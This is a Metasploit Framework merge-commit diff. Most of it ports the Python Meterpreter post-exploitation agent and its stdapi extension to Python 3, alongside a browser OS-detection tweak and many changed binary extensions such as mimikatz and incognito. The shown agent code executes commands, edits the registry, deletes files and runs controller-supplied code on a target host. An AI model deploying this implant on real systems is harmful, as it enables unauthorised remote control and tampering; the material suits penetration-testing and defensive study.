Merge branch 'upstream/master' into meatballs x64_injection

bug/bundler_fix
OJ 2014-06-18 10:24:33 +10:00
commit 5879ca3340
No known key found for this signature in database
GPG Key ID: 49EEE7511FAA5749
153 changed files with 4943 additions and 801 deletions

View File

@ -18,6 +18,7 @@ todb-r7 <todb-r7@github> Tod Beardsley <tod_beardsley@rapid7.com>
todb-r7 <todb-r7@github> Tod Beardsley <todb@metasploit.com>
todb-r7 <todb-r7@github> Tod Beardsley <todb@packetfu.com>
trosen-r7 <trosen-r7@github> Trevor Rosen <Trevor_Rosen@rapid7.com>
trosen-r7 <trosen-r7@github> Trevor Rosen <trevor@catapult-creative.com>
wchen-r7 <wchen-r7@github> sinn3r <msfsinn3r@gmail.com> # aka sinn3r
wchen-r7 <wchen-r7@github> sinn3r <wei_chen@rapid7.com>
wchen-r7 <wchen-r7@github> Wei Chen <Wei_Chen@rapid7.com>

View File

@ -50,7 +50,7 @@ Pull requests [#2940](https://github.com/rapid7/metasploit-framework/pull/2940)
#### New Modules
* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up. Even better would be to set up `msftidy.rb` as a [pre-commit hook](https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb).
* **Do** use the [many module mixin APIs](https://dev.metasploit.com/documents/api/). Wheel improvements are welcome; wheel reinventions, not so much.
* **Do** use the [many module mixin APIs](https://dev.metasploit.com/api/). Wheel improvements are welcome; wheel reinventions, not so much.
* **Don't** include more than one module per pull request.
#### Library Code

Binary file not shown.

Binary file not shown.

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.0 KiB

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -20,6 +20,7 @@ arch_armle = "armle";
arch_x86 = "x86";
arch_x86_64 = "x86_64";
arch_ppc = "ppc";
arch_mipsle = "mipsle";
window.os_detect = {};
@ -184,10 +185,16 @@ window.os_detect.getVersion = function(){
} else if (platform.match(/arm/)) {
// Android and maemo
arch = arch_armle;
} else if (platform.match(/x86/)) {
arch = arch_x86;
} else if (platform.match(/mips/)) {
arch = arch_mipsle;
}
if (navigator.userAgent.match(/android/i)) {
os_flavor = 'Android';
}
}
} else if (platform.match(/windows/)) {
os_name = oses_windows;
}

BIN
data/meterpreter/common.lib Executable file → Normal file

Binary file not shown.

BIN
data/meterpreter/elevator.x64.dll Executable file → Normal file

Binary file not shown.

BIN
data/meterpreter/elevator.x86.dll Executable file → Normal file

Binary file not shown.

BIN
data/meterpreter/ext_server_espia.x64.dll Executable file → Normal file

Binary file not shown.

BIN
data/meterpreter/ext_server_espia.x86.dll Executable file → Normal file

Binary file not shown.

BIN
data/meterpreter/ext_server_extapi.x64.dll Executable file → Normal file

Binary file not shown.

BIN
data/meterpreter/ext_server_extapi.x86.dll Executable file → Normal file

Binary file not shown.

BIN
data/meterpreter/ext_server_incognito.x64.dll Executable file → Normal file

Binary file not shown.

BIN
data/meterpreter/ext_server_incognito.x86.dll Executable file → Normal file

Binary file not shown.

BIN
data/meterpreter/ext_server_kiwi.x64.dll Executable file → Normal file

Binary file not shown.

BIN
data/meterpreter/ext_server_kiwi.x86.dll Executable file → Normal file

Binary file not shown.

BIN
data/meterpreter/ext_server_lanattacks.x64.dll Executable file → Normal file

Binary file not shown.

BIN
data/meterpreter/ext_server_lanattacks.x86.dll Executable file → Normal file

Binary file not shown.

BIN
data/meterpreter/ext_server_mimikatz.x64.dll Executable file → Normal file

Binary file not shown.

BIN
data/meterpreter/ext_server_mimikatz.x86.dll Executable file → Normal file

Binary file not shown.

BIN
data/meterpreter/ext_server_priv.x64.dll Executable file → Normal file

Binary file not shown.

BIN
data/meterpreter/ext_server_priv.x86.dll Executable file → Normal file

Binary file not shown.

View File

@ -48,6 +48,24 @@ try:
except ImportError:
has_winreg = False
try:
import winreg
has_winreg = True
except ImportError:
has_winreg = (has_winreg or False)
if sys.version_info[0] < 3:
is_str = lambda obj: issubclass(obj.__class__, str)
is_bytes = lambda obj: issubclass(obj.__class__, str)
bytes = lambda *args: str(*args[:1])
NULL_BYTE = '\x00'
else:
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
str = lambda x: __builtins__['str'](x, 'UTF-8')
NULL_BYTE = bytes('\x00', 'UTF-8')
long = int
if has_ctypes:
#
# Windows Structures
@ -498,11 +516,12 @@ def get_stat_buffer(path):
blocks = si.st_blocks
st_buf = struct.pack('<IHHH', si.st_dev, min(0xffff, si.st_ino), si.st_mode, si.st_nlink)
st_buf += struct.pack('<HHHI', si.st_uid, si.st_gid, 0, rdev)
st_buf += struct.pack('<IIII', si.st_size, si.st_atime, si.st_mtime, si.st_ctime)
st_buf += struct.pack('<IIII', si.st_size, long(si.st_atime), long(si.st_mtime), long(si.st_ctime))
st_buf += struct.pack('<II', blksize, blocks)
return st_buf
def netlink_request(req_type):
import select
# See RFC 3549
NLM_F_REQUEST = 0x0001
NLM_F_ROOT = 0x0100
@ -513,17 +532,25 @@ def netlink_request(req_type):
sock.bind((os.getpid(), 0))
seq = int(time.time())
nlmsg = struct.pack('IHHIIB15x', 32, req_type, (NLM_F_REQUEST | NLM_F_ROOT), seq, 0, socket.AF_UNSPEC)
sfd = os.fdopen(sock.fileno(), 'w+b')
sfd.write(nlmsg)
sock.send(nlmsg)
responses = []
response = cstruct_unpack(NLMSGHDR, sfd.read(ctypes.sizeof(NLMSGHDR)))
if not len(select.select([sock.fileno()], [], [], 0.5)[0]):
return responses
raw_response_data = sock.recv(0xfffff)
response = cstruct_unpack(NLMSGHDR, raw_response_data[:ctypes.sizeof(NLMSGHDR)])
raw_response_data = raw_response_data[ctypes.sizeof(NLMSGHDR):]
while response.type != NLMSG_DONE:
if response.type == NLMSG_ERROR:
break
response_data = sfd.read(response.len - 16)
response_data = raw_response_data[:(response.len - 16)]
responses.append(response_data)
response = cstruct_unpack(NLMSGHDR, sfd.read(ctypes.sizeof(NLMSGHDR)))
sfd.close()
raw_response_data = raw_response_data[len(response_data):]
if not len(raw_response_data):
if not len(select.select([sock.fileno()], [], [], 0.5)[0]):
break
raw_response_data = sock.recv(0xfffff)
response = cstruct_unpack(NLMSGHDR, raw_response_data[:ctypes.sizeof(NLMSGHDR)])
raw_response_data = raw_response_data[ctypes.sizeof(NLMSGHDR):]
sock.close()
return responses
@ -559,7 +586,7 @@ def channel_open_stdapi_fs_file(request, response):
else:
fmode = 'rb'
file_h = open(fpath, fmode)
channel_id = meterpreter.add_channel(file_h)
channel_id = meterpreter.add_channel(MeterpreterFile(file_h))
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
return ERROR_SUCCESS, response
@ -675,6 +702,7 @@ def stdapi_sys_process_execute(request, response):
proc_h.stderr = open(os.devnull, 'rb')
else:
proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
proc_h.echo_protection = True
proc_h.start()
else:
proc_h = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
@ -693,15 +721,15 @@ def stdapi_sys_process_getpid(request, response):
def stdapi_sys_process_get_processes_via_proc(request, response):
for pid in os.listdir('/proc'):
pgroup = ''
pgroup = bytes()
if not os.path.isdir(os.path.join('/proc', pid)) or not pid.isdigit():
continue
cmd = open(os.path.join('/proc', pid, 'cmdline'), 'rb').read(512).replace('\x00', ' ')
status_data = open(os.path.join('/proc', pid, 'status'), 'rb').read()
cmdline_file = open(os.path.join('/proc', pid, 'cmdline'), 'rb')
cmd = str(cmdline_file.read(512).replace(NULL_BYTE, bytes(' ', 'UTF-8')))
status_data = str(open(os.path.join('/proc', pid, 'status'), 'rb').read())
status_data = map(lambda x: x.split('\t',1), status_data.split('\n'))
status_data = filter(lambda x: len(x) == 2, status_data)
status = {}
for k, v in status_data:
for k, v in filter(lambda x: len(x) == 2, status_data):
status[k[:-1]] = v.strip()
ppid = status.get('PPid')
uid = status.get('Uid').split('\t', 1)[0]
@ -725,14 +753,14 @@ def stdapi_sys_process_get_processes_via_proc(request, response):
def stdapi_sys_process_get_processes_via_ps(request, response):
ps_args = ['ps', 'ax', '-w', '-o', 'pid,ppid,user,command']
proc_h = subprocess.Popen(ps_args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
ps_output = proc_h.stdout.read()
ps_output = str(proc_h.stdout.read())
ps_output = ps_output.split('\n')
ps_output.pop(0)
for process in ps_output:
process = process.split()
if len(process) < 4:
break
pgroup = ''
pgroup = bytes()
pgroup += tlv_pack(TLV_TYPE_PID, int(process[0]))
pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(process[1]))
pgroup += tlv_pack(TLV_TYPE_USER_NAME, process[2])
@ -793,7 +821,7 @@ def stdapi_sys_process_get_processes_via_windll(request, response):
use = ctypes.c_ulong()
use.value = 0
ctypes.windll.advapi32.LookupAccountSidA(None, user_tkn.Sid, username, ctypes.byref(u_len), domain, ctypes.byref(d_len), ctypes.byref(use))
complete_username = ctypes.string_at(domain) + '\\' + ctypes.string_at(username)
complete_username = str(ctypes.string_at(domain)) + '\\' + str(ctypes.string_at(username))
k32.CloseHandle(tkn_h)
parch = windll_GetNativeSystemInfo()
is_wow64 = ctypes.c_ubyte()
@ -802,7 +830,7 @@ def stdapi_sys_process_get_processes_via_windll(request, response):
if k32.IsWow64Process(proc_h, ctypes.byref(is_wow64)):
if is_wow64.value:
parch = PROCESS_ARCH_X86
pgroup = ''
pgroup = bytes()
pgroup += tlv_pack(TLV_TYPE_PID, pe32.th32ProcessID)
pgroup += tlv_pack(TLV_TYPE_PARENT_PID, pe32.th32ParentProcessID)
pgroup += tlv_pack(TLV_TYPE_USER_NAME, complete_username)
@ -850,6 +878,7 @@ def stdapi_fs_delete_dir(request, response):
@meterpreter.register_function
def stdapi_fs_delete_file(request, response):
file_path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
if os.path.exists(file_path):
os.unlink(file_path)
return ERROR_SUCCESS, response
@ -857,9 +886,10 @@ def stdapi_fs_delete_file(request, response):
def stdapi_fs_file_expand_path(request, response):
path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
if has_windll:
path_tlv = ctypes.create_string_buffer(bytes(path_tlv, 'UTF-8'))
path_out = (ctypes.c_char * 4096)()
path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(path_tlv, ctypes.byref(path_out), ctypes.sizeof(path_out))
result = ''.join(path_out)[:path_out_len]
path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(ctypes.byref(path_tlv), ctypes.byref(path_out), ctypes.sizeof(path_out))
result = str(ctypes.string_at(path_out))
elif path_tlv == '%COMSPEC%':
result = '/bin/sh'
elif path_tlv in ['%TEMP%', '%TMP%']:
@ -912,6 +942,7 @@ def stdapi_fs_md5(request, response):
@meterpreter.register_function
def stdapi_fs_mkdir(request, response):
dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
if not os.path.isdir(dir_path):
os.mkdir(dir_path)
return ERROR_SUCCESS, response
@ -965,7 +996,7 @@ def stdapi_fs_stat(request, response):
@meterpreter.register_function
def stdapi_net_config_get_interfaces(request, response):
if hasattr(socket, 'AF_NETLINK'):
if hasattr(socket, 'AF_NETLINK') and hasattr(socket, 'NETLINK_ROUTE'):
interfaces = stdapi_net_config_get_interfaces_via_netlink()
elif has_osxsc:
interfaces = stdapi_net_config_get_interfaces_via_osxsc()
@ -974,7 +1005,7 @@ def stdapi_net_config_get_interfaces(request, response):
else:
return ERROR_FAILURE, response
for iface_info in interfaces:
iface_tlv = ''
iface_tlv = bytes()
iface_tlv += tlv_pack(TLV_TYPE_MAC_NAME, iface_info.get('name', 'Unknown'))
iface_tlv += tlv_pack(TLV_TYPE_MAC_ADDRESS, iface_info.get('hw_addr', '\x00\x00\x00\x00\x00\x00'))
if 'mtu' in iface_info:
@ -1002,7 +1033,7 @@ def stdapi_net_config_get_interfaces_via_netlink():
0x0100: 'PROMISC',
0x1000: 'MULTICAST'
}
iface_flags_sorted = iface_flags.keys()
iface_flags_sorted = list(iface_flags.keys())
# Dictionaries don't maintain order
iface_flags_sorted.sort()
interfaces = {}
@ -1106,7 +1137,7 @@ def stdapi_net_config_get_interfaces_via_osxsc():
hw_addr = hw_addr.replace(':', '')
hw_addr = hw_addr.decode('hex')
iface_info['hw_addr'] = hw_addr
ifnames = interfaces.keys()
ifnames = list(interfaces.keys())
ifnames.sort()
for iface_name, iface_info in interfaces.items():
iface_info['index'] = ifnames.index(iface_name)
@ -1138,7 +1169,10 @@ def stdapi_net_config_get_interfaces_via_windll():
iface_info['index'] = AdapterAddresses.u.s.IfIndex
if AdapterAddresses.PhysicalAddressLength:
iface_info['hw_addr'] = ctypes.string_at(ctypes.byref(AdapterAddresses.PhysicalAddress), AdapterAddresses.PhysicalAddressLength)
iface_info['name'] = str(ctypes.wstring_at(AdapterAddresses.Description))
iface_desc = ctypes.wstring_at(AdapterAddresses.Description)
if not is_str(iface_desc):
iface_desc = str(iface_desc)
iface_info['name'] = iface_desc
iface_info['mtu'] = AdapterAddresses.Mtu
pUniAddr = AdapterAddresses.FirstUnicastAddress
while pUniAddr:
@ -1174,7 +1208,7 @@ def stdapi_net_config_get_interfaces_via_windll_mib():
table_data = ctypes.string_at(table, pdwSize.value)
entries = struct.unpack('I', table_data[:4])[0]
table_data = table_data[4:]
for i in xrange(entries):
for i in range(entries):
addrrow = cstruct_unpack(MIB_IPADDRROW, table_data)
ifrow = MIB_IFROW()
ifrow.dwIndex = addrrow.dwIndex
@ -1244,9 +1278,10 @@ def stdapi_registry_close_key(request, response):
def stdapi_registry_create_key(request, response):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
res_key = ctypes.c_void_p()
if ctypes.windll.advapi32.RegCreateKeyExA(root_key, base_key, 0, None, 0, permission, None, ctypes.byref(res_key), None) == ERROR_SUCCESS:
if ctypes.windll.advapi32.RegCreateKeyExA(root_key, ctypes.byref(base_key), 0, None, 0, permission, None, ctypes.byref(res_key), None) == ERROR_SUCCESS:
response += tlv_pack(TLV_TYPE_HKEY, res_key.value)
return ERROR_SUCCESS, response
return ERROR_FAILURE, response
@ -1255,18 +1290,20 @@ def stdapi_registry_create_key(request, response):
def stdapi_registry_delete_key(request, response):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
flags = packet_get_tlv(request, TLV_TYPE_FLAGS)['value']
if (flags & DELETE_KEY_FLAG_RECURSIVE):
result = ctypes.windll.shlwapi.SHDeleteKeyA(root_key, base_key)
result = ctypes.windll.shlwapi.SHDeleteKeyA(root_key, ctypes.byref(base_key))
else:
result = ctypes.windll.advapi32.RegDeleteKeyA(root_key, base_key)
result = ctypes.windll.advapi32.RegDeleteKeyA(root_key, ctypes.byref(base_key))
return result, response
@meterpreter.register_function_windll
def stdapi_registry_delete_value(request, response):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
result = ctypes.windll.advapi32.RegDeleteValueA(root_key, value_name)
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
result = ctypes.windll.advapi32.RegDeleteValueA(root_key, ctypes.byref(value_name))
return result, response
@meterpreter.register_function_windll
@ -1335,9 +1372,10 @@ def stdapi_registry_load_key(request, response):
def stdapi_registry_open_key(request, response):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
handle_id = ctypes.c_void_p()
if ctypes.windll.advapi32.RegOpenKeyExA(root_key, base_key, 0, permission, ctypes.byref(handle_id)) == ERROR_SUCCESS:
if ctypes.windll.advapi32.RegOpenKeyExA(root_key, ctypes.byref(base_key), 0, permission, ctypes.byref(handle_id)) == ERROR_SUCCESS:
response += tlv_pack(TLV_TYPE_HKEY, handle_id.value)
return ERROR_SUCCESS, response
return ERROR_FAILURE, response
@ -1367,24 +1405,26 @@ def stdapi_registry_query_class(request, response):
@meterpreter.register_function_windll
def stdapi_registry_query_value(request, response):
REG_SZ = 1
REG_DWORD = 4
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
value_type = ctypes.c_uint32()
value_type.value = 0
value_data = (ctypes.c_ubyte * 4096)()
value_data_sz = ctypes.c_uint32()
value_data_sz.value = ctypes.sizeof(value_data)
result = ctypes.windll.advapi32.RegQueryValueExA(hkey, value_name, 0, ctypes.byref(value_type), value_data, ctypes.byref(value_data_sz))
result = ctypes.windll.advapi32.RegQueryValueExA(hkey, ctypes.byref(value_name), 0, ctypes.byref(value_type), value_data, ctypes.byref(value_data_sz))
if result == ERROR_SUCCESS:
response += tlv_pack(TLV_TYPE_VALUE_TYPE, value_type.value)
if value_type.value == REG_SZ:
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + '\x00')
elif value_type.value == REG_DWORD:
if value_type.value == winreg.REG_SZ:
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + NULL_BYTE)
elif value_type.value == winreg.REG_DWORD:
value = value_data[:4]
value.reverse()
if sys.version_info[0] < 3:
value = ''.join(map(chr, value))
else:
value = bytes(value)
response += tlv_pack(TLV_TYPE_VALUE_DATA, value)
else:
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data, value_data_sz.value))
@ -1395,9 +1435,10 @@ def stdapi_registry_query_value(request, response):
def stdapi_registry_set_value(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value']
value_data = packet_get_tlv(request, TLV_TYPE_VALUE_DATA)['value']
result = ctypes.windll.advapi32.RegSetValueExA(hkey, value_name, 0, value_type, value_data, len(value_data))
result = ctypes.windll.advapi32.RegSetValueExA(hkey, ctypes.byref(value_name), 0, value_type, value_data, len(value_data))
return result, response
@meterpreter.register_function_windll

BIN
data/meterpreter/ext_server_stdapi.x64.dll Executable file → Normal file

Binary file not shown.

BIN
data/meterpreter/ext_server_stdapi.x86.dll Executable file → Normal file

Binary file not shown.

Binary file not shown.

View File

@ -1,12 +1,5 @@
#!/usr/bin/python
import code
try:
import ctypes
except:
has_windll = False
else:
has_windll = hasattr(ctypes, 'windll')
import os
import random
import select
@ -15,10 +8,30 @@ import struct
import subprocess
import sys
import threading
import time
import traceback
try:
import ctypes
except ImportError:
has_windll = False
else:
has_windll = hasattr(ctypes, 'windll')
if sys.version_info[0] < 3:
is_bytes = lambda obj: issubclass(obj.__class__, str)
bytes = lambda *args: str(*args[:1])
NULL_BYTE = '\x00'
else:
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
str = lambda x: __builtins__['str'](x, 'UTF-8')
NULL_BYTE = bytes('\x00', 'UTF-8')
#
# Constants
#
DEBUGGING = False
PACKET_TYPE_REQUEST = 0
PACKET_TYPE_RESPONSE = 1
PACKET_TYPE_PLAIN_REQUEST = 10
@ -100,6 +113,7 @@ TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502
TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503
EXPORTED_SYMBOLS = {}
EXPORTED_SYMBOLS['DEBUGGING'] = DEBUGGING
def export(symbol):
EXPORTED_SYMBOLS[symbol.__name__] = symbol
@ -107,7 +121,7 @@ def export(symbol):
def generate_request_id():
chars = 'abcdefghijklmnopqrstuvwxyz'
return ''.join(random.choice(chars) for x in xrange(32))
return ''.join(random.choice(chars) for x in range(32))
@export
def inet_pton(family, address):
@ -125,25 +139,6 @@ def inet_pton(family, address):
return ''.join(map(chr, lpAddress[8:24]))
raise Exception('no suitable inet_pton functionality is available')
@export
def packet_get_tlv(pkt, tlv_type):
offset = 0
while (offset < len(pkt)):
tlv = struct.unpack('>II', pkt[offset:offset+8])
if (tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type:
val = pkt[offset+8:(offset+8+(tlv[0] - 8))]
if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
val = val.split('\x00', 1)[0]
elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
val = struct.unpack('>I', val)[0]
elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
val = bool(struct.unpack('b', val)[0])
elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
pass
return {'type':tlv[1], 'length':tlv[0], 'value':val}
offset += tlv[0]
return {}
@export
def packet_enum_tlvs(pkt, tlv_type = None):
offset = 0
@ -152,7 +147,7 @@ def packet_enum_tlvs(pkt, tlv_type = None):
if (tlv_type == None) or ((tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type):
val = pkt[offset+8:(offset+8+(tlv[0] - 8))]
if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
val = val.split('\x00', 1)[0]
val = str(val.split(NULL_BYTE, 1)[0])
elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
val = struct.unpack('>I', val)[0]
elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
@ -163,6 +158,14 @@ def packet_enum_tlvs(pkt, tlv_type = None):
offset += tlv[0]
raise StopIteration()
@export
def packet_get_tlv(pkt, tlv_type):
try:
tlv = list(packet_enum_tlvs(pkt, tlv_type))[0]
except IndexError:
return {}
return tlv
@export
def tlv_pack(*args):
if len(args) == 2:
@ -170,20 +173,33 @@ def tlv_pack(*args):
else:
tlv = args[0]
data = ""
if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
data = struct.pack('>II', 8 + len(tlv['value']) + 1, tlv['type']) + tlv['value'] + '\x00'
elif (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
if (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
data = struct.pack('>III', 12, tlv['type'], tlv['value'])
elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
data = struct.pack('>II', 9, tlv['type']) + chr(int(bool(tlv['value'])))
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8')
else:
value = tlv['value']
if not is_bytes(value):
value = bytes(value, 'UTF-8')
if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE
elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value']
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP:
data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value']
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX:
data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value']
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
return data
#@export
class MeterpreterFile(object):
def __init__(self, file_obj):
self.file_obj = file_obj
def __getattr__(self, name):
return getattr(self.file_obj, name)
export(MeterpreterFile)
#@export
class MeterpreterSocket(object):
def __init__(self, sock):
@ -208,11 +224,11 @@ class STDProcessBuffer(threading.Thread):
threading.Thread.__init__(self)
self.std = std
self.is_alive = is_alive
self.data = ''
self.data = bytes()
self.data_lock = threading.RLock()
def run(self):
for byte in iter(lambda: self.std.read(1), ''):
for byte in iter(lambda: self.std.read(1), bytes()):
self.data_lock.acquire()
self.data += byte
self.data_lock.release()
@ -220,15 +236,20 @@ class STDProcessBuffer(threading.Thread):
def is_read_ready(self):
return len(self.data) != 0
def read(self, l = None):
data = ''
def peek(self, l = None):
data = bytes()
self.data_lock.acquire()
if l == None:
data = self.data
self.data = ''
else:
data = self.data[0:l]
self.data = self.data[l:]
self.data_lock.release()
return data
def read(self, l = None):
self.data_lock.acquire()
data = self.peek(l)
self.data = self.data[len(data):]
self.data_lock.release()
return data
@ -236,12 +257,25 @@ class STDProcessBuffer(threading.Thread):
class STDProcess(subprocess.Popen):
def __init__(self, *args, **kwargs):
subprocess.Popen.__init__(self, *args, **kwargs)
self.echo_protection = False
def start(self):
self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None)
self.stdout_reader.start()
self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None)
self.stderr_reader.start()
def write(self, channel_data):
self.stdin.write(channel_data)
self.stdin.flush()
if self.echo_protection:
end_time = time.time() + 0.5
out_data = bytes()
while (time.time() < end_time) and (out_data != channel_data):
if self.stdout_reader.is_read_ready():
out_data = self.stdout_reader.peek(len(channel_data))
if out_data == channel_data:
self.stdout_reader.read(len(channel_data))
export(STDProcess)
class PythonMeterpreter(object):
@ -251,7 +285,7 @@ class PythonMeterpreter(object):
self.channels = {}
self.interact_channels = []
self.processes = {}
for func in filter(lambda x: x.startswith('_core'), dir(self)):
for func in list(filter(lambda x: x.startswith('_core'), dir(self))):
self.extension_functions[func[1:]] = getattr(self, func)
self.running = True
@ -265,6 +299,7 @@ class PythonMeterpreter(object):
return func
def add_channel(self, channel):
assert(isinstance(channel, (subprocess.Popen, MeterpreterFile, MeterpreterSocket)))
idx = 0
while idx in self.channels:
idx += 1
@ -286,7 +321,7 @@ class PythonMeterpreter(object):
break
req_length, req_type = struct.unpack('>II', request)
req_length -= 8
request = ''
request = bytes()
while len(request) < req_length:
request += self.socket.recv(4096)
response = self.create_response(request)
@ -294,17 +329,17 @@ class PythonMeterpreter(object):
else:
channels_for_removal = []
# iterate over the keys because self.channels could be modified if one is closed
channel_ids = self.channels.keys()
channel_ids = list(self.channels.keys())
for channel_id in channel_ids:
channel = self.channels[channel_id]
data = ''
data = bytes()
if isinstance(channel, STDProcess):
if not channel_id in self.interact_channels:
continue
if channel.stdout_reader.is_read_ready():
data = channel.stdout_reader.read()
elif channel.stderr_reader.is_read_ready():
if channel.stderr_reader.is_read_ready():
data = channel.stderr_reader.read()
elif channel.stdout_reader.is_read_ready():
data = channel.stdout_reader.read()
elif channel.poll() != None:
self.handle_dead_resource_channel(channel_id)
elif isinstance(channel, MeterpreterSocketClient):
@ -312,7 +347,7 @@ class PythonMeterpreter(object):
try:
d = channel.recv(1)
except socket.error:
d = ''
d = bytes()
if len(d) == 0:
self.handle_dead_resource_channel(channel_id)
break
@ -357,13 +392,13 @@ class PythonMeterpreter(object):
data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
return ERROR_FAILURE
preloadlib_methods = self.extension_functions.keys()
preloadlib_methods = list(self.extension_functions.keys())
symbols_for_extensions = {'meterpreter':self}
symbols_for_extensions.update(EXPORTED_SYMBOLS)
i = code.InteractiveInterpreter(symbols_for_extensions)
i.runcode(compile(data_tlv['value'], '', 'exec'))
postloadlib_methods = self.extension_functions.keys()
new_methods = filter(lambda x: x not in preloadlib_methods, postloadlib_methods)
postloadlib_methods = list(self.extension_functions.keys())
new_methods = list(filter(lambda x: x not in preloadlib_methods, postloadlib_methods))
for method in new_methods:
response += tlv_pack(TLV_TYPE_METHOD, method)
return ERROR_SUCCESS, response
@ -386,10 +421,10 @@ class PythonMeterpreter(object):
if channel_id not in self.channels:
return ERROR_FAILURE, response
channel = self.channels[channel_id]
if isinstance(channel, file):
channel.close()
elif isinstance(channel, subprocess.Popen):
if isinstance(channel, subprocess.Popen):
channel.kill()
elif isinstance(channel, MeterpreterFile):
channel.close()
elif isinstance(channel, MeterpreterSocket):
channel.close()
else:
@ -405,7 +440,7 @@ class PythonMeterpreter(object):
return ERROR_FAILURE, response
channel = self.channels[channel_id]
result = False
if isinstance(channel, file):
if isinstance(channel, MeterpreterFile):
result = channel.tell() >= os.fstat(channel.fileno()).st_size
response += tlv_pack(TLV_TYPE_BOOL, result)
return ERROR_SUCCESS, response
@ -432,13 +467,13 @@ class PythonMeterpreter(object):
return ERROR_FAILURE, response
channel = self.channels[channel_id]
data = ''
if isinstance(channel, file):
data = channel.read(length)
elif isinstance(channel, STDProcess):
if isinstance(channel, STDProcess):
if channel.poll() != None:
self.handle_dead_resource_channel(channel_id)
if channel.stdout_reader.is_read_ready():
data = channel.stdout_reader.read(length)
elif isinstance(channel, MeterpreterFile):
data = channel.read(length)
elif isinstance(channel, MeterpreterSocket):
data = channel.recv(length)
else:
@ -454,13 +489,13 @@ class PythonMeterpreter(object):
return ERROR_FAILURE, response
